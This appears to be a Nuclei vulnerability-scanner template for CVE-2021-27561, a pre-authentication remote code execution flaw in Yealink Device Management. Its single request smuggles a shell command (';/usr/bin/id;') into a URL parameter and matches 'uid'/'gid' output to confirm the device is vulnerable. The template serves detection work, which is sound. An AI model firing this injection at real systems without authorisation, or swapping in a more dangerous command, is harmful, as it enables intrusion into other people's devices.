45 lines
1.0 KiB
YAML
45 lines
1.0 KiB
YAML
id: CVE-2021-27561
|
|
|
|
info:
|
|
name: YeaLink DM PreAuth RCE
|
|
author: shifacyclewala,hackergautam
|
|
severity: critical
|
|
description: A malicious actor can trigger Unauthenticated Remote Code Execution
|
|
reference:
|
|
- https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-27561
|
|
cwe-id: CWE-77
|
|
tags: cve,cve2021,rce,yealink,mirai
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
condition: and
|
|
part: body
|
|
words:
|
|
- 'uid'
|
|
- 'gid'
|
|
- 'groups'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'application/json'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "(u|g)id=.*"
|